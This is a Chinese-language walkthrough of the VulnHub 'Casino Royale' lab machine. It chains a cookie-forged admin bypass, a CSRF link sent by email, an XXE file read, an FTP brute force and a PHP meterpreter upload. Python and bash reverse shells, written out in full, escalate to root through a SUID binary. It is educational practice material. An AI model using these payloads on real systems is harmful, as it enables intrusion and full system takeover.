1.前言
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:链接: https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova。
难度:中等
文件下载完后,分别VMware导入,网卡1选择桥接模式,开启靶机
目标:获取/root/flag/flag.sh。
靶机IP:未知
本机kali IP:192.168.1.107
3.arp-scan主机发现
使用命令:
netdiscover -i eth0 -r 192.168.1.0/24
发现了局域网中存活的几台主机,IP:192.168.1.124是我们目标机器。
4.网络扫描
nmap -A -p- 192.168.1.124
编号 | 端口 | 服务 | 版本 |
---|---|---|---|
1 | 21 | ftp | vsftpd 2.0.8 or later |
2 | 80 | HTTP | Apache httpd 2.4.25 |
3 | 25 | smtp | Postfix smtpd |
4 | 8081 | http | PHP cli server 5.5 or later |
发现系统是linux,开放了21、25、80、8081端口,具体情况如下。
看看网站,浏览器访问:http://192.168.1.124
显示主页没什么东西。
5.目录扫描
dirsearch -u http://192.168.1.124
发现一些页面。/includes是空白页面。/index.php和/index.php/login是同一个页面。
得到一个域名casino-royale.local。修改hosts后登录是一样的主页,没东西。服务端框架是PokerMax Poker League Software。可查看是否有可利用漏洞。/phpmyadmin和/phpmyadmin/index.php是后台登录页面,默认账号密码不能登录,不知道账号密码,可尝试爆破和sql注入。/install和/install/index.php?upgrade/是软件下载安装页面,点击提示失败。
/robots.txt。显示了一些信息。
6.漏洞利用
searchsploit PokerMax Poker League #是否有可利用漏洞
显示有漏洞。6766.txt显示漏洞利用方式。
根据提示直接访问http://192.168.1.124/pokeradmin/configure.php自动跳转到登录页面http://192.168.1.124/pokeradmin/index.php。得到后台登录页面。
按F12在控制台输入
javascript:document.cookie = "ValidUserAdmin=admin";
再访问
http://192.168.1.124/pokeradmin/configure.php
成功绕过登录验证。成功登录后台。
得到账号密码:admin/raise12million。看到提示把域名加入hosts文件。在Manage Poker Player中看到几个人的信息,valenka信息比较特殊,有email,查看详细信息。
得到邮件地址valenka,一个路径/vip-client-portfolios/?uri=blog。加到域名后面,访问URL。
http://casino-royale.local/vip-client-portfolios/?uri=blog
一个网站,是Snowfox CMS,需要登录,不知道账号密码。
登录需要邮件地址和密码。有找回密码功能,利用前面得到的邮件地址。尝试找回密码。
提示账号输入错误,邮件地址可能还缺少主机域名部分。重新寻找信息。在Snowfox CMS的Blog页面下部发现信息。获得邮件地址valenka@casino-royale.local。提示可以给她发送邮件,她会查看,邮件标题必须提及已存在的客户或他们知道的人。邮件可以包含任何链接。
验证找回密码成功,邮件地址正确。可以尝试密码爆破。找回密码邮件发送到邮箱去了。不知道邮箱登录地址,及账号密码。
搜索snowfox cms漏洞
searchsploit snowfox cms
发现CSRF(跨站请求伪造)漏洞。查看利用方式35301.html。
上文提到,靶机用户会查看发送给她的邮件。此处又有CSRF漏洞。我们可以利用这个漏洞,把恶意链接包含在邮件中发送给靶机,供她访问。访问后我们能获得管理员权限。
把35301.html复制到/var/www/html。修改内容如下
修改其中的链接,邮件地址,用户名,密码。启动apache2。测试能正常访问。
使用Telnet 给靶机发送邮件
telnet casino-royale.local 25 #连接邮件服务器
mail from:user #发件人
rcpt to:valenka #收件人
data #编辑
subject:obanno #主题,提到靶机知道的人。
test
http://192.168.1.107/35301.html #我们的供靶机访问链接
. #编辑结束
quit #退出
tail -f /var/log/apache2/access.log #查看我们Apache访问日志
发现我们web服务被访问。
使用修改后35301.html文件中邮件地址/密码访问。
成功登录。
在Admin->Users->manage accounts的le@casino-royale.local中发现信息。
获得一个路径。 /ultra-access-view/main.php
通过浏览器访问它,没有信息。
查看源码,发现提示。
提示可以向该页面post一个xml文件。想到利用XML External Entity (XXE)漏洞。还提示ftp用户密码简单。
创建一个poc.xml文件,内容如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >]>
<creds>
<customer>&file;</customer>
<password>mypass</password>
</creds>
使用curl访问链接
curl -d @poc.xml http://casino-royale.local/ultra-access-view/main.php
获取到靶机passwd文件。有ftp用户名,ftpUserULTRA。
7.获取反弹shell
前面说密码简单,爆破密码
爆破ftp密码。
hydra -l ftpUserULTRA -P /usr/share/wordlists/fasttrack.txt ftp://192.168.1.124
爆破成功
获得ftp用户名密码,ftpUserULTRA/bankbank。登录ftp。
ftp 192.168.1.124
输入账号密码后成功登录
查看了一遍,其中目录都是空的没有东西。三个文件没有权限。
看到了main.php。加上前文XXE利用的URL。http://casino-royale.local/ultra-access-view/main.php。这个目录可能就是根目录。通过浏览器访问发现,可以直接访问。
http://casino-royale.local/ultra-access-view
此时可以上传反弹shell脚本,获得反弹shell。
#使用msfvenom生成反弹shell。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lport=4444 -f raw >shell.php
put shell.php #通过ftp把shell.php,上传到靶机。
上传失败,没有权限,可能是后缀限制了,把php后缀换成php3,绕过后缀限制。
mv shell.php shell.Php
put shell.Php #成功上传
chmod 777 shell.php3 #授予权限
在msfconsole中启动监听
msfconsole
use exploit/multi/handler
search php paylaod
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.107
set lport 4444
run
通过浏览器访问shell.php3运行反弹shell代码。
http://casino-royale.local/ultra-access-view/shell.php3
成功获得反弹shell
转tty
shell
python -c "import pty; pty.spawn('/bin/bash')"
8.提权
在目录中浏览,在/var/www/html/includes中看到config.php。查看内容,找对一组数据库用户名/密码valenka/11archives11!
使用账号密码,登录系统,发现成功登录,存在密码复用的问题。
su valenka
Password: 11archives11!
find / -perm -u=s -type f 2>/dev/null #在根目录下迭代查找用户权限为s的普通文件并过滤标准错误输出。
cd /opt/casino-royale
ls
在目录下发现index.html文件,是8081端口访问的文件。
文件调用collect.php。
collect.php会调用casino-data-collection.py。文件属于le用户。www-data组对其有写入权限。我们写入pythonshell,可以获得le用户的反弹shell。当前用户没有权限,切换用户到www-data
cd /opt/casino-royale #切换目录
echo "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.107',5678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > casino-data-collection.py
nc -vlp 5678 #本机监听5678
浏览器访问http://casino-royale.local:8081/,点击run data collect 。获得用户le反弹shell。
继续分析
mi6_detect_test有suid标志位,其他用户执行它会有root权限。我们对它没有写权限。
查看run.sh的内容
发现执行./mi6_detect_test的效果和run.sh的功能类似。查看mi6_detect_test内容部分乱码。怀疑mi6_detect_test调用了run.sh。因此尝试在run.sh中写入反弹shell。然后执行./mi6_detect_test。
#反弹shell写入run.sh
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.1.107/4445 0>&1' > run.sh
nc -vlp 4445 #本机监听4445端口
./mi6_detect_test #执行,获得root反弹shell。
cd /root/flag
./flag.sh #获得flag
9.结语
主要涉及跨站请求伪造(CSRF)漏洞利用,类似于社工的钓鱼攻击,XXE漏洞利用,msf的简单使用。最后请各位师傅斧正!!!